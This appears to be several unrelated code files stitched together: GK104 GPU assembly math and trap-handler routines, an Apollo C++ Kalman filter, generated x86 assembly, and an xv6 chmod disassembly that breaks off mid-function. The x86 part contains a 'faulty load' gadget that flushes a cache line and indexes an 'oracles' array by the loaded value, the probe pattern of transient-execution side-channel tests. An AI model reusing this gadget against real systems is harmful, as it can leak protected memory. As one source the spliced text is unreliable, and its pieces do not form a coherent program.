// 2) (For the denorm input) The 2^54 we multiplied at rcp_denorm, stored
// in $r3
// These 2 sources are calculated in the first two lines below, and then
// added to the exponent extracted from the result above.
// Note that after processing, the new exponent may >= 0x7ff (inf)
// or <= 0 (denorm). Those cases will be handled respectively below
subr b32 $r2 $r2 0x3ff
long add b32 $r4 $r2 $r3
ext u32 $r3 $r1 0xb14
// New exponent in $r3
long add b32 $r3 $r3 $r4
add b32 $r2 $r3 0xffffffff
sched 0x28 0x2b 0x28 0x2b 0x28 0x28 0x2b
// (exponent-1) < 0x7fe (unsigned) means the result is in norm range
// (same logic as in step 1)
set $p0 0x1 lt u32 $r2 0x7fe
(not $p0) bra #rcp_result_inf_or_denorm
// Norms: convert exponents back and return
shl b32 $r4 $r4 clamp 0x14
long add b32 $r1 $r4 $r1
bra #rcp_end
rcp_result_inf_or_denorm:
// New exponent >= 0x7ff means that result is inf
set $p0 0x1 ge s32 $r3 0x7ff
(not $p0) bra #rcp_result_denorm
sched 0x20 0x25 0x28 0x2b 0x23 0x25 0x2f
// Infinity
and b32 $r1 $r1 0x80000000
long mov b32 $r0 0x0
add b32 $r1 $r1 0x7ff00000
bra #rcp_end
rcp_result_denorm:
// Denorm result comes from huge input. The greatest possible fp64, i.e.
// 0x7fefffffffffffff's rcp is 0x0004000000000000, 1/4 of the smallest
// normal value. Other rcp result should be greater than that. If we
// set the exponent field to 1, we can recover the result by multiplying
// it with 1/2 or 1/4. 1/2 is used if the "exponent" $r3 is 0, otherwise
// 1/4 ($r3 should be -1 then). This is quite tricky but greatly simplifies
// the logic here.
set $p0 0x1 ne u32 $r3 0x0
and b32 $r1 $r1 0x800fffff
// 0x3e800000: 1/4
$p0 cvt f64 $r6d f32 0x3e800000
sched 0x2f 0x28 0x2c 0x2e 0x2a 0x20 0x27
// 0x3f000000: 1/2
(not $p0) cvt f64 $r6d f32 0x3f000000
add b32 $r1 $r1 0x00100000
mul rn f64 $r0d $r0d $r6d
rcp_end:
long ret
// RSQ F64: Newton Raphson rsqrt(x): r_{i+1} = r_i * (1.5 - 0.5 * x * r_i * r_i)
//
// INPUT: $r0d (x)
// OUTPUT: $r0d (rsqrt(x))
// CLOBBER: $r2 - $r7
// SIZE: 14 * 8 bytes
//
gk104_rsq_f64:
// Before getting initial result rsqrt64h, two special cases should be
// handled first.
// 1. NaN: set the highest bit in mantissa so it'll be surely recognized
// as NaN in rsqrt64h
set $p0 0x1 gtu f64 abs $r0d 0x7ff0000000000000
$p0 or b32 $r1 $r1 0x00080000
and b32 $r2 $r1 0x7fffffff
sched 0x27 0x20 0x28 0x2c 0x25 0x28 0x28
// 2. denorms and small normal values: using their original value will
// lose precision either at rsqrt64h or the first step in newton-raphson
// steps below. Take 2 as a threshold in exponent field, and multiply
// with 2^54 if the exponent is smaller or equal. (will multiply 2^27
// to recover in the end)
ext u32 $r3 $r1 0xb14
set $p1 0x1 le u32 $r3 0x2
long or b32 $r2 $r0 $r2
$p1 mul rn f64 $r0d $r0d 0x4350000000000000
rsqrt64h $r5 $r1
// rsqrt64h will give correct result for 0/inf/nan, the following logic
// checks whether the input is one of those (exponent is 0x7ff or all 0
// except for the sign bit)
set b32 $r6 ne u32 $r3 0x7ff
long and b32 $r2 $r2 $r6
sched 0x28 0x2b 0x20 0x27 0x28 0x2e 0x28
set $p0 0x1 ne u32 $r2 0x0
$p0 bra #rsq_norm
// For 0/inf/nan, make sure the sign bit agrees with input and return
and b32 $r1 $r1 0x80000000
long mov b32 $r0 0x0
long or b32 $r1 $r1 $r5
long ret
rsq_norm:
// For others, do 4 Newton-Raphson steps with the formula:
// RSQ_{n + 1} = RSQ_{n} * (1.5 - 0.5 * x * RSQ_{n} * RSQ_{n})
// In the code below, each step is written as:
// tmp1 = 0.5 * x * RSQ_{n}
// tmp2 = -RSQ_{n} * tmp1 + 0.5
// RSQ_{n + 1} = RSQ_{n} * tmp2 + RSQ_{n}
long mov b32 $r4 0x0
sched 0x2f 0x29 0x29 0x29 0x29 0x29 0x29
// 0x3f000000: 1/2
cvt f64 $r8d f32 0x3f000000
mul rn f64 $r2d $r0d $r8d
mul rn f64 $r0d $r2d $r4d
fma rn f64 $r6d neg $r4d $r0d $r8d
fma rn f64 $r4d $r4d $r6d $r4d
mul rn f64 $r0d $r2d $r4d
fma rn f64 $r6d neg $r4d $r0d $r8d
sched 0x29 0x29 0x29 0x29 0x29 0x29 0x29
fma rn f64 $r4d $r4d $r6d $r4d
mul rn f64 $r0d $r2d $r4d
fma rn f64 $r6d neg $r4d $r0d $r8d
fma rn f64 $r4d $r4d $r6d $r4d
mul rn f64 $r0d $r2d $r4d
fma rn f64 $r6d neg $r4d $r0d $r8d
fma rn f64 $r4d $r4d $r6d $r4d
sched 0x29 0x20 0x28 0x2e 0x00 0x00 0x00
// Multiply 2^27 to result for small inputs to recover
$p1 mul rn f64 $r4d $r4d 0x41a0000000000000
long mov b32 $r1 $r5
long mov b32 $r0 $r4
long ret
//
// Trap handler.
// Requires at least 4 GPRs and 32 bytes of l[] memory to temporarily save GPRs.
// Low 32 bytes of l[] memory shouldn't be used if resumability is required.
//
// Trap info:
// 0x000: mutex
// 0x004: PC
// 0x008: trapstat
// 0x00c: warperr
// 0x010: tidx
// 0x014: tidy
// 0x018: tidz
// 0x01c: ctaidx
// 0x020: ctaidy
// 0x024: ctaidz
// 0x030: $r0q
// 0x130: $flags
// 0x140: s[]
//
st b128 wb l[0x00] $r0q
// check state of the warp and continue if it didn't cause the trap
long mov b32 $r1 $trapstat
long mov b32 $r3 $warperr
mov $r2 $flags mask 0xffff
and b32 0 $c $r1 $r3
e $c bra #end_cont
// spill control flow stack to l[]
long mov b32 $r3 16
spill_cfstack:
preret #end_exit
sub b32 $r3 $c $r3 0x1
lg $c bra #spill_cfstack
// retrieve pointer to trap info
mov b32 $r0 c0[0x1900]
mov b32 $r1 c0[0x1904]
// we only let a single faulting thread store its state
mov b32 $r3 0x1
exch b32 $r3 g[$r0d] $r3
joinat #end_exit
set $p0 0x1 eq u32 $r3 0x1
join $p0 nop
// store $c and $p registers
st b32 wb g[$r0d+0x130] $r2
// store $trapstat and $warperr
long mov b32 $r2 $trapstat
long mov b32 $r3 $warperr
st b64 wb g[$r0d+0x8] $r2d
// store registers
st b128 wb g[$r0d+0x40] $r4q
st b128 wb g[$r0d+0x50] $r8q
st b128 wb g[$r0d+0x60] $r12q
st b128 wb g[$r0d+0x70] $r16q
st b128 wb g[$r0d+0x80] $r20q
st b128 wb g[$r0d+0x90] $r24q
st b128 wb g[$r0d+0xa0] $r28q
st b128 wb g[$r0d+0xb0] $r32q
st b128 wb g[$r0d+0xc0] $r36q
st b128 wb g[$r0d+0xd0] $r40q
st b128 wb g[$r0d+0xe0] $r44q
st b128 wb g[$r0d+0xf0] $r48q
st b128 wb g[$r0d+0x100] $r52q
st b128 wb g[$r0d+0x110] $r56q
st b128 wb g[$r0d+0x120] $r60q
ld b64 $r2d cs l[0x0]
st b64 wb g[$r0d+0x30] $r2d
ld b64 $r2d cs l[0x8]
st b64 wb g[$r0d+0x38] $r2d
// store thread id
long mov b32 $r2 $tidx
long mov b32 $r3 $tidy
st b64 wb g[$r0d+0x10] $r2d
long mov b32 $r2 $tidz
long mov b32 $r3 $ctaidx
st b64 wb g[$r0d+0x18] $r2d
long mov b32 $r2 $ctaidy
long mov b32 $r3 $ctaidz
st b64 wb g[$r0d+0x20] $r2d
// store shared memory (in reverse order so $r0d is base again at the end)
long mov b32 $r3 $smemsz
sub b32 $r3 $c $r3 0x4
s $c bra #shared_done
add b32 $r0 $c $r0 $r3
add b32 $r1 $r1 0x0 $c
shared_loop:
long ld b32 $r2 s[$r3]
long st b32 wb g[$r0d+0x140] $r2
sub b32 $r0 $c $r0 0x4
sub b32 $r1 $r1 0x0 $c
sub b32 $r3 $c $r3 0x4
lg $c bra #shared_loop
shared_done:
// search the stack for trap entry to retrieve PC
mov b32 $r0 c0[0x1908]
mov b32 $r1 c0[0x190c]
membar sys
// invalidate caches so we can read stack entries via g[]
cctl ivall 0 l[0]
cctl ivall 0 g[$r0d]
// get offsets
mov b32 $r2 $physid
ext u32 $r3 $r2 0x0814 // MP id
ext u32 $r2 $r2 0x0608 // warp id
mul $r2 u32 $r2 u32 c0[0x1914] // warp offset
mul $r3 u32 $r3 u32 c0[0x1910] // MP offset
add b32 $r2 $r2 $r3 // MP + warp offset
add b32 $r0 $c $r0 $r2
add b32 $r1 $r1 0x0 $c
search_cstack:
mov b32 $r3 c0[0x1918] // cstack size
ld u8 $r2 cv g[$r0d+0x8]
set $p0 0x1 eq u32 $r2 0xa
$p0 bra #entry_found
add b32 $r0 $c $r0 0x10
add b32 $r1 $r1 0x0 $c
sub b32 $r3 $c $r3 0x10
lg $c bra #search_cstack
bra #end_exit
entry_found:
// load PC (may be unaligned and spread out)
ld b32 $r2 cv g[$r0d]
mov b32 $r0 c0[0x1900]
mov b32 $r1 c0[0x1904]
st b32 wb g[$r0d+0x4] $r2
join nop
// invalidate caches and exit
end_exit:
cctl ivall 0 g[0]
bpt pause 0x0
rtt terminate
end_cont:
bpt pause 0x0
mov $flags $r2 mask 0xffff
ld b128 $r0q cs l[0x00]
rtt
.section #gk104_builtin_offsets
.b64 #gk104_div_u32
.b64 #gk104_div_s32
.b64 #gk104_rcp_f64
.b64 #gk104_rsq_f64
|
/******************************************************************************
* Copyright 2018 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
#include "modules/common/math/kalman_filter_1d.h"
namespace apollo {
namespace common {
namespace math {
bool KalmanFilter1D::Init(const float& x) {
x_ << x, 0.0f;
F_ << 1.0f, 0.033f, 0.0f, 1.0f;
H_ << 1.0f, 0.0f;
// TODO(later) tune and put in config
P_.setIdentity();
P_ *= 20.0f;
Q_.setIdentity();
Q_ *= 20.0f;
R_.setIdentity();
R_ *= 20.0f;
return true;
}
bool KalmanFilter1D::Predict(const float& time_diff) {
F_(0, 1) = time_diff;
x_ = F_ * x_;
P_ = F_ * P_ * F_.transpose() + Q_;
return true;
}
bool KalmanFilter1D::Update(const float& z) {
z_.x() = z;
y_ = z_ - H_ * x_;
S_ = H_ * P_ * H_.transpose() + R_;
K_ = P_ * H_.transpose() * S_.inverse();
x_ = x_ + K_ * y_;
P_ = P_ - K_ * H_ * P_;
return true;
}
Eigen::Vector2f KalmanFilter1D::GetState() { return x_; }
Eigen::Matrix2f KalmanFilter1D::GetCov() { return P_; }
} // namespace math
} // namespace common
} // namespace apollo
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r8
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x12a6e, %rax
nop
nop
nop
inc %rdi
movb $0x61, (%rax)
nop
nop
nop
add $8573, %r8
lea addresses_A_ht+0x1106e, %rsi
lea addresses_A_ht+0x96ee, %rdi
nop
nop
xor %r13, %r13
mov $28, %rcx
rep movsb
sub $22843, %rdi
lea addresses_UC_ht+0x216e, %r12
nop
add $53482, %r8
movw $0x6162, (%r12)
nop
sub %rdi, %rdi
lea addresses_UC_ht+0xe06e, %r12
nop
nop
nop
nop
nop
cmp $28097, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm7
movups %xmm7, (%r12)
nop
nop
nop
nop
dec %rsi
lea addresses_WC_ht+0xf9ee, %r13
nop
nop
nop
nop
nop
cmp $29020, %rax
movb $0x61, (%r13)
nop
xor %r13, %r13
lea addresses_normal_ht+0x1c86e, %rax
nop
nop
cmp $50273, %rcx
movl $0x61626364, (%rax)
nop
nop
nop
sub $34718, %rax
lea addresses_A_ht+0x658e, %rdi
nop
nop
cmp $51826, %rsi
mov (%rdi), %ax
nop
nop
nop
sub %r8, %r8
lea addresses_normal_ht+0xc06e, %r12
nop
nop
cmp $62729, %r13
movw $0x6162, (%r12)
nop
sub %r8, %r8
lea addresses_UC_ht+0xa1e3, %r12
nop
nop
nop
nop
nop
xor $63570, %rax
movups (%r12), %xmm4
vpextrq $1, %xmm4, %r13
nop
and $16087, %rsi
lea addresses_normal_ht+0x1b11e, %rdi
nop
nop
nop
nop
nop
mfence
movups (%rdi), %xmm5
vpextrq $1, %xmm5, %r12
sub %rsi, %rsi
lea addresses_normal_ht+0x18a6e, %rsi
lea addresses_D_ht+0x12e6e, %rdi
nop
nop
nop
inc %r11
mov $77, %rcx
rep movsb
nop
nop
add $20197, %rdi
lea addresses_WT_ht+0x15f2e, %rcx
nop
nop
add $61446, %rax
movb $0x61, (%rcx)
nop
nop
nop
nop
nop
sub $27150, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %rbp
push %rbx
push %rcx
push %rdx
push %rsi
// Load
lea addresses_US+0x1927e, %rdx
nop
nop
nop
xor %rcx, %rcx
movb (%rdx), %r11b
nop
nop
add $14669, %r12
// Store
lea addresses_UC+0x886e, %rcx
nop
cmp %rsi, %rsi
mov $0x5152535455565758, %r11
movq %r11, %xmm7
vmovups %ymm7, (%rcx)
nop
inc %rcx
// Faulty Load
mov $0x367266000000006e, %rdx
clflush (%rdx)
xor %rbp, %rbp
mov (%rdx), %r12d
lea oracles, %r11
and $0xff, %r12
shlq $12, %r12
mov (%r11,%r12,1), %r12
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %rbp
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': True, 'congruent': 3, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 8, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 7, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}}
{'00': 23}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
_chmod: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "types.h"
#include "user.h"
int
main(int argc, char* argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 14 sub $0x14,%esp
11: 89 c8 mov %ecx,%eax
char *modeIn = argv[1];
13: 8b 50 04 mov 0x4(%eax),%edx
16: 8b 52 04 mov 0x4(%edx),%edx
19: 89 55 f0 mov %edx,-0x10(%ebp)
char *path = argv[2];
1c: 8b 40 04 mov 0x4(%eax),%eax
1f: 8b 40 08 mov 0x8(%eax),%eax
22: 89 45 ec mov %eax,-0x14(%ebp)
if(strlen(modeIn) > 4)
25: 83 ec 0c sub $0xc,%esp
28: ff 75 f0 pushl -0x10(%ebp)
2b: e8 45 01 00 00 call 175 <strlen>
30: 83 c4 10 add $0x10,%esp
33: 83 f8 04 cmp $0x4,%eax
36: 76 12 jbe 4a <main+0x4a>
printf(2, "Error: invalid MODE\n");
38: 83 ec 08 sub $0x8,%esp
3b: 68 52 09 00 00 push $0x952
40: 6a 02 push $0x2
42: e8 55 05 00 00 call 59c <printf>
47: 83 c4 10 add $0x10,%esp
for(int i = 0; i < strlen(modeIn); i++) {
4a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
51: eb 39 jmp 8c <main+0x8c>
if(modeIn[i] < '0' || modeIn[i] > '7') {
53: 8b 55 f4 mov -0xc(%ebp),%edx
56: 8b 45 f0 mov -0x10(%ebp),%eax
59: 01 d0 add %edx,%eax
5b: 0f b6 00 movzbl (%eax),%eax
5e: 3c 2f cmp $0x2f,%al
60: 7e 0f jle 71 <main+0x71>
62: 8b 55 f4 mov -0xc(%ebp),%edx
65: 8b 45 f0 mov -0x10(%ebp),%eax
68: 01 d0 add %edx,%eax
6a: 0f b6 00 movzbl (%eax),%eax
6d: 3c 37 cmp $0x37,%al
6f: 7e 17 jle 88 <main+0x88>
printf(2, "Error: invalid MODE\n");
71: 83 ec 08 sub $0x8,%esp
74: 68 52 09 00 00 push $0x952
79: 6a 02 push $0x2
7b: e8 1c 05 00 00 call 59c <printf>
80: 83 c4 10 add $0x10,%esp
exit();
83: e8 3d 03 00 00 call 3c5 <exit>
{
char *modeIn = argv[1];
char *path = argv[2];
if(strlen(modeIn) > 4)
printf(2, "Error: invalid MODE\n");
for(int i = 0; i < strlen(modeIn); i++) {
88: 83 45 f4 01 addl $0x1,-0xc(%ebp)
8c: 83 ec 0c sub $0xc,%esp
8f: ff 75 f0 pushl -0x10(%ebp)
92: e8 de 00 00 00 call 175 <strlen>
97: 83 c4 10 add $0x10,%esp
9a: 89 c2 mov %eax,%edx
9c: 8b 45 f4 mov -0xc(%ebp),%eax
9f: 39 c2 cmp %eax,%edx
a1: 77 b0 ja 53 <main+0x53>
if(modeIn[i] < '0' || modeIn[i] > '7') {
printf(2, "Error: invalid MODE\n");
exit();
}
}
int mode = atoo(modeIn);
a3: 83 ec 0c sub $0xc,%esp
a6: ff 75 f0 pushl -0x10(%ebp)
a9: e8 44 02 00 00 call 2f2 <atoo>
ae: 83 c4 10 add $0x10,%esp
b1: 89 45 e8 mov %eax,-0x18(%ebp)
if(chmod(path, mode) < 0)
b4: 83 ec 08 sub $0x8,%esp
b7: ff 75 e8 pushl -0x18(%ebp)
ba: ff 75 ec pushl -0x14(%ebp)
bd: e8 eb 03 00 00 call 4ad <chmod>
c2: 83 c4 10 add $0x10,%esp
c5: 85 c0 test %eax,%eax
c7: 79 12 jns db <main+0xdb>
printf(2, "Error: exec chmod failure\n");
c9: 83 ec 08 sub $0x8,%esp
cc: 68 67 09 00 00 push $0x967
d1: 6a 02 push $0x2
d3: e8 c4 04 00 00 call 59c <printf>
d8: 83 c4 10 add $0x10,%esp
exit();
db: e8 e5 02 00 00 call 3c5 <exit>
000000e0 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
e0: 55 push %ebp
e1: 89 e5 mov %esp,%ebp
e3: 57 push %edi
e4: 53 push %ebx
asm volatile("cld; rep stosb" :
e5: 8b 4d 08 mov 0x8(%ebp),%ecx
e8: 8b 55 10 mov 0x10(%ebp),%edx
eb: 8b 45 0c mov 0xc(%ebp),%eax
ee: 89 cb mov %ecx,%ebx
f0: 89 df mov %ebx,%edi
f2: 89 d1 mov %edx,%ecx
f4: fc cld
f5: f3 aa rep stos %al,%es:(%edi)
f7: 89 ca mov %ecx,%edx
f9: 89 fb mov %edi,%ebx
fb: 89 5d 08 mov %ebx,0x8(%ebp)
fe: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
101: 90 nop
102: 5b pop %ebx
103: 5f pop %edi
104: 5d pop %ebp
105: c3 ret
00000106 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
106: 55 push %ebp
107: 89 e5 mov %esp,%ebp
109: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
10c: 8b 45 08 mov 0x8(%ebp),%eax
10f: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
112: 90 nop
113: 8b 45 08 mov 0x8(%ebp),%eax
116: 8d 50 01 lea 0x1(%eax),%edx
119: 89 55 08 mov %edx,0x8(%ebp)
11c: 8b 55 0c mov 0xc(%ebp),%edx
11f: 8d 4a 01 lea 0x1(%edx),%ecx
122: 89 4d 0c mov %ecx,0xc(%ebp)
125: 0f b6 12 movzbl (%edx),%edx
128: 88 10 mov %dl,(%eax)
12a: 0f b6 00 movzbl (%eax),%eax
12d: 84 c0 test %al,%al
12f: 75 e2 jne 113 <strcpy+0xd>
;
return os;
131: 8b 45 fc mov -0x4(%ebp),%eax
}
134: c9 leave
135: c3 ret
00000136 <strcmp>:
int
strcmp(const char *p, const char *q)
{
136: 55 push %ebp
137: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
139: eb 08 jmp 143 <strcmp+0xd>
p++, q++;
13b: 83 45 08 01 addl $0x1,0x8(%ebp)
13f: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
143: 8b 45 08 mov 0x8(%ebp),%eax
146: 0f b6 00 movzbl (%eax),%eax
149: 84 c0 test %al,%al
14b: 74 10 je 15d <strcmp+0x27>
14d: 8b 45 08 mov 0x8(%ebp),%eax
150: 0f b6 10 movzbl (%eax),%edx
153: 8b 45 0c mov 0xc(%ebp),%eax
156: 0f b6 00 movzbl (%eax),%eax
159: 38 c2 cmp %al,%dl
15b: 74 de je 13b <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
15d: 8b 45 08 mov 0x8(%ebp),%eax
160: 0f b6 00 movzbl (%eax),%eax
163: 0f b6 d0 movzbl %al,%edx
166: 8b 45 0c mov 0xc(%ebp),%eax
169: 0f b6 00 movzbl (%eax),%eax
16c: 0f b6 c0 movzbl %al,%eax
16f: 29 c2 sub %eax,%edx
171: 89 d0 mov %edx,%eax
}
173: 5d pop %ebp
174: c3 ret
00000175 <strlen>:
uint
strlen(char *s)
{
175: 55 push %ebp
176: 89 e5 mov %esp,%ebp
178: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
17b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
182: eb 04 jmp 188 <strlen+0x13>
184: 83 45 fc 01 addl $0x1,-0x4(%ebp)
188: 8b 55 fc mov -0x4(%ebp),%edx
18b: 8b 45 08 mov 0x8(%ebp),%eax
18e: 01 d0 add %edx,%eax
190: 0f b6 00 movzbl (%eax),%eax
193: 84 c0 test %al,%al
195: 75 ed jne 184 <strlen+0xf>
;
return n;
197: 8b 45 fc mov -0x4(%ebp),%eax
}
19a: c9 leave
19b: c3 ret
0000019c <memset>:
void*
memset(void *dst, int c, uint n)
{
19c: 55 push %ebp
19d: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
19f: 8b 45 10 mov 0x10(%ebp),%eax
1a2: 50 push %eax
1a3: ff 75 0c pushl 0xc(%ebp)
1a6: ff 75 08 pushl 0x8(%ebp)
1a9: e8 32 ff ff ff call e0 <stosb>
1ae: 83 c4 0c add $0xc,%esp
return dst;
1b1: 8b 45 08 mov 0x8(%ebp),%eax
}
1b4: c9 leave
1b5: c3 ret
000001b6 <strchr>:
char*
strchr(const char *s, char c)
{
1b6: 55 push %ebp
1b7: 89 e5 mov %esp,%ebp
1b9: 83 ec 04 sub $0x4,%esp
1bc: 8b 45 0c mov 0xc(%ebp),%eax
1bf: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
1c2: eb 14 jmp 1d8 <strchr+0x22>
if(*s == c)
1c4: 8b 45 08 mov 0x8(%ebp),%eax
1c7: 0f b6 00 movzbl (%eax),%eax
1ca: 3a 45 fc cmp -0x4(%ebp),%al
1cd: 75 05 jne 1d4 <strchr+0x1e>
return (char*)s;
1cf: 8b 45 08 mov 0x8(%ebp),%eax
1d2: eb 13 jmp 1e7 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
1d4: 83 45 08 01 addl $0x1,0x8(%ebp)
1d8: 8b 45 08 mov 0x8(%ebp),%eax
1db: 0f b6 00 movzbl (%eax),%eax
1de: 84 c0 test %al,%al
1e0: 75 e2 jne 1c4 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
1e2: b8 00 00 00 00 mov $0x0,%eax
}
1e7: c9 leave
1e8: c3 ret
000001e9 <gets>:
char*
gets(char *buf, int max)
{
1e9: 55 push %ebp
1ea: 89 e5 mov %esp,%ebp
1ec: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
1ef: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1f6: eb 42 jmp 23a <gets+0x51>
cc = read(0, &c, 1);
1f8: 83 ec 04 sub $0x4,%esp
1fb: 6a 01 push $0x1
1fd: 8d 45 ef lea -0x11(%ebp),%eax
200: 50 push %eax
201: 6a 00 push $0x0
203: e8 d5 01 00 00 call 3dd <read>
208: 83 c4 10 add $0x10,%esp
20b: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
20e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
212: 7e 33 jle 247 <gets+0x5e>
break;
buf[i++] = c;
214: 8b 45 f4 mov -0xc(%ebp),%eax
217: 8d 50 01 lea 0x1(%eax),%edx
21a: 89 55 f4 mov %edx,-0xc(%ebp)
21d: 89 c2 mov %eax,%edx
21f: 8b 45 08 mov 0x8(%ebp),%eax
222: 01 c2 add %eax,%edx
224: 0f b6 45 ef movzbl -0x11(%ebp),%eax
228: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
22a: 0f b6 45 ef movzbl -0x11(%ebp),%eax
22e: 3c 0a cmp $0xa,%al
230: 74 16 je 248 <gets+0x5f>
232: 0f b6 45 ef movzbl -0x11(%ebp),%eax
236: 3c 0d cmp $0xd,%al
238: 74 0e je 248 <gets+0x5f>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
23a: 8b 45 f4 mov -0xc(%ebp),%eax
23d: 83 c0 01 add $0x1,%eax
240: 3b 45 0c cmp 0xc(%ebp),%eax
243: 7c b3 jl 1f8 <gets+0xf>
245: eb 01 jmp 248 <gets+0x5f>
cc = read(0, &c, 1);
if(cc < 1)
break;
247: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
248: 8b 55 f4 mov -0xc(%ebp),%edx
24b: 8b 45 08 mov 0x8(%ebp),%eax
24e: 01 d0 add %edx,%eax
250: c6 00 00 movb $0x0,(%eax)
return buf;
253: 8b 45 08 mov 0x8(%ebp),%eax
}
256: c9 leave
257: c3 ret
00000258 <stat>:
int
stat(char *n, struct stat *st)
{
258: 55 push %ebp
259: 89 e5 mov %esp,%ebp
25b: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
25e: 83 ec 08 sub $0x8,%esp
261: 6a 00 push $0x0
263: ff 75 08 pushl 0x8(%ebp)
266: e8 9a 01 00 00 call 405 <open>
26b: 83 c4 10 add $0x10,%esp
26e: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
271: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
275: 79 07 jns 27e <stat+0x26>
return -1;
277: b8 ff ff ff ff mov $0xffffffff,%eax
27c: eb 25 jmp 2a3 <stat+0x4b>
r = fstat(fd, st);
27e: 83 ec 08 sub $0x8,%esp
281: ff 75 0c pushl 0xc(%ebp)
284: ff 75 f4 pushl -0xc(%ebp)
287: e8 91 01 00 00 call 41d <fstat>
28c: 83 c4 10 add $0x10,%esp
28f: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
292: 83 ec 0c sub $0xc,%esp
295: ff 75 f4 pushl -0xc(%ebp)
298: e8 50 01 00 00 call 3ed <close>
29d: 83 c4 10 add $0x10,%esp
return r;
2a0: 8b 45 f0 mov -0x10(%ebp),%eax
}
2a3: c9 leave
2a4: c3 ret
000002a5 <atoi>:
int
atoi(const char *s)
{
2a5: 55 push %ebp
2a6: 89 e5 mov %esp,%ebp
2a8: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
